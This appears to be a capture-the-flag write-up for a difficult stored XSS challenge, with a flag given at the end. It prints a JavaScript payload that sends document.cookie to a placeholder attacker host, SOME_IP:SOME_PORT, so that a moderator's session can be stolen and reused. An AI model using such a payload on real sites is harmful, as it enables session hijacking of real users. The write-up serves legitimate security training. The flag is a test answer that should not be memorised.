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39 lines
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## Difficulty
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Difficult
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90 punten
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## How to solve
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The challenge consists of small web application where you can register and login.
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First you will need to register for a new account, as you don't know any account
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credentials yet. After doing so you will be redirected to the login page
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where you can use those credentials to log in.
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After loggin in, you will be presented with a page that lists your posts. At first,
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this page will be empty, but new posts can be created using the "Create post" link.
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To solve the challenge, you will need to create a posts that contains Javascript,
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for example like this:
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```
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<script>
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window.top.location = "http://SOME_IP:SOME_PORT/?q="+document.cookie;
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</script>
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```
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You will see that when you view an individual post, this HTML gets rendered
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and will be executed on the client side of whomever is viewing the page.
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As each post needs to be reviewed by a moderator, we hope that the page
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gets viewed by a moderator, and that the Javascript gets executed, therefore
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stealing the cookie details of the moderator.
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For this to work, you will need an external server that is accesible from
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the internet on `SOME_IP:SOME_PORT` and logs all of the request information
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so that you can view it. At some point, the moderator will log in and
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view your post containing the malicious Javascript, at this point, the
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cookie is leaked and can be replaced in your on browser (through the developer tools for example).
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## Flag
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IGCTF{BigTechWillnOtSiLenceUs}
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